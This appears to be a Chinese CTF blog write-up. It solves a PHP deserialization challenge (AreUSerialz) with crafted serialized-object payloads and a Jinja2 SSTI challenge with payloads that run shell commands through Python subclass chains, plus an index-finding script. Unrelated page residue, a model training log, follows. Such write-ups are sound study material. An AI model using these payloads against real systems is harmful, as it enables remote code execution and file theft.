2021-01-26

46 篇文章 0 订阅

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

$this-> 的含义

同上

private和protect类型的绕过:用public

php序列化与反序列化方法:

  • __construct 当一个对象创建时被调用
  • __destruct 当一个对象销毁时被调用
  • __toString 当一个对象被当作一个字符串使用
  • __sleep 在对象被序列化之前运行
  • __wakeup 在对象被反序列化之后被调用

代码审计:

分成3块,一块是定义FileHandler的类,一块是is_valid函数,最后一块是GET传值。

最后一块函数

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

先GET接收一个str参数,然后利用is_valid函数检测,检测不通过直接报错,检测通过直接进行反序列化

然后是is_valid函数

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

将传入的参数循环一遍,要求ASCII码在32–125之间

最后是反序列化
研究一下FileHandler类

PHP __destruct()构析函数与__construct()构造函数

__destruct魔术方法在对象销毁时执行,__construct()魔术方法在每次创建新对象时调用。我们传入对象时已经创建好,所以不需要调用__construct()方法。

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

在这里如果op===‘2’则会覆盖为’1’,然后content被置空,并进入process。在process我们需要调用read()函数,所以需要让op=2(弱类型匹配)。而这里是强等号,所以传入op=2即可,2是整形,'2’是字符型,2===‘2’==>False。

public function process() {
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

在这里调用read()函数,并在output()函数中进行输出。

private function read() {
    $res = "";
    if(isset($this->filename)) {
        $res = file_get_contents($this->filename);
    }
    return $res;
}

这里利用file_get_contents()函数对文件进行读取。

接下来做题:
(这里的filename是我们可控的,那么可以用前不久学的php://filter伪协议读取文件)
利用php:filter伪协议进行读取。于是将filename置为php://filter/read=convert.base64-encode/resource=flag.php

payload构造为:

<?php
class FileHandler {
    protected $op = 2;
    protected $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
    protected $content;
}
echo serialize(new FileHandler);
//O:11:"FileHandler":3:{s:5:" * op";i:2;s:11:" * filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:" * content";N;}
?>

传入后发现不行
原因private和protect类型在序列化的时候会生成%00,不能通过is_valid函数的检验。
在php7.1+的环境下对属性的要求不是很敏感,所以可以用public属性绕过:

在这里插入图片描述
在这里插入图片描述不用php伪协议,payload

<?php
class FileHandler {
    public $op = 2;
    public $filename = 'flag.php';
    public $content;
}
echo serialize(new FileHandler);
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
?>

源码页查看到flag。

[BJDCTF 2nd]fake google

什么是模板引擎
模板引擎是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档,就是将模板文件和数据通过模板引擎生成一个HTML代码。
在这里插入图片描述

  • 遇到考察SSTI的题目,可按照下面的图进行测试,从而判断出是那个模板引擎,再去找对应的payload
    在这里插入图片描述这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*‘7’}}会在 Twig 中返回49,而在 Jinja2 中则是7777777。

不同模板的标识符
首先就是不同的模板引擎的变量包裹标识符会不一样,导致payload不一样。如:Tornado和Jinja2,这两个都是以{{}}作为变量包裹标识符。
在这里插入图片描述
漏洞形成的原因其实与sql等大同小异。
关键在于一个函数和一个框架知识。

函数:reder_template
框架知识:框架渲染

render_template函数在渲染模板的时候使用了%s来动态替换字符串(见上方图),替换的过程如果我们输入的是正常的string,那输出正常。但如果我们输入计算表达式甚至代码的话,就能实现注入攻击。
利用的流程一般是先获取基本类,再获取基本类的子类,并从子类中找到关于命令执行的模块。

这道题我们的payload:
http://46742af1-6c83-4833-9337-84f7e1e072dd.node3.buuoj.cn/qaq?name={{%27%27.__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__[%27eval%27](%22__import__(%27os%27).popen(%27cd%20/;cat%20flag%27).read()%22)}}

解析:

{{().__class__.__bases__[0].__subclasses__()}} //查看可用模块

{{().__class__.base__.__subclasses__().index(
warnings.catch_warnings)}}  
//本来想用这条命令直接查找危险函数 ,结果不让用只好手动数一数 169

{{().__class__.__bases__[0].__subclasses__()
[169].__init__.__globals__.__builtins__['eval'](
"__import__('os').popen('whoami').read()")}}  
//找到危险函数后构造payload尝试执行命令,发现可以,构造最终答案

{{''.__class__.__mro__[1].__subclasses__(
)[169].__init__.__globals__['__builtins__'].eval(
"__import__('os').popen('cat /flag').read()")}} 
 //可以直接查到flag竟然没有过滤

配上相关函数的解释

_class__ 返回类型所属的对象

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__bases__ 返回该对象所继承的基类 __builtins__是做为默认初始模块

payload2

或者找到os._wrap_close模块 117个
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('dir').read()}}  当前文件夹

{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}来打开文件,payload有很多慢慢摸索慢慢积累= =

payload3

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}} 
threading.Semaphore模块

一个可以自动检测所用类序号的脚本:

import requests
import re
url = r"http://www.example.com?SSTI={{''.__class__.__bases__[0].__subclasses__()}}"
r = requests.get(url)
s = re.findall(r"class &#39;(.*?)&#39;&gt;",r.text)
print(s.index('warnings.catch_warnings')+1)
#print(r.text)

具体参考模板注入总结
SSTI模板注入
服务端模板注入攻击

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
2021-03-26 20:54:33,596 - Model - INFO - Epoch 1 (1/200): 2021-03-26 20:57:40,380 - Model - INFO - Train Instance Accuracy: 0.571037 2021-03-26 20:58:16,623 - Model - INFO - Test Instance Accuracy: 0.718528, Class Accuracy: 0.627357 2021-03-26 20:58:16,623 - Model - INFO - Best Instance Accuracy: 0.718528, Class Accuracy: 0.627357 2021-03-26 20:58:16,623 - Model - INFO - Save model... 2021-03-26 20:58:16,623 - Model - INFO - Saving at log/classification/pointnet2_msg_normals/checkpoints/best_model.pth 2021-03-26 20:58:16,698 - Model - INFO - Epoch 2 (2/200): 2021-03-26 21:01:26,685 - Model - INFO - Train Instance Accuracy: 0.727947 2021-03-26 21:02:03,642 - Model - INFO - Test Instance Accuracy: 0.790858, Class Accuracy: 0.702316 2021-03-26 21:02:03,642 - Model - INFO - Best Instance Accuracy: 0.790858, Class Accuracy: 0.702316 2021-03-26 21:02:03,642 - Model - INFO - Save model... 2021-03-26 21:02:03,643 - Model - INFO - Saving at log/classification/pointnet2_msg_normals/checkpoints/best_model.pth 2021-03-26 21:02:03,746 - Model - INFO - Epoch 3 (3/200): 2021-03-26 21:05:15,349 - Model - INFO - Train Instance Accuracy: 0.781606 2021-03-26 21:05:51,538 - Model - INFO - Test Instance Accuracy: 0.803641, Class Accuracy: 0.738575 2021-03-26 21:05:51,538 - Model - INFO - Best Instance Accuracy: 0.803641, Class Accuracy: 0.738575 2021-03-26 21:05:51,539 - Model - INFO - Save model... 2021-03-26 21:05:51,539 - Model - INFO - Saving at log/classification/pointnet2_msg_normals/checkpoints/best_model.pth 我有类似于这样的一段txt文件,请你帮我写一段代码来可视化这些训练结果
02-06
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值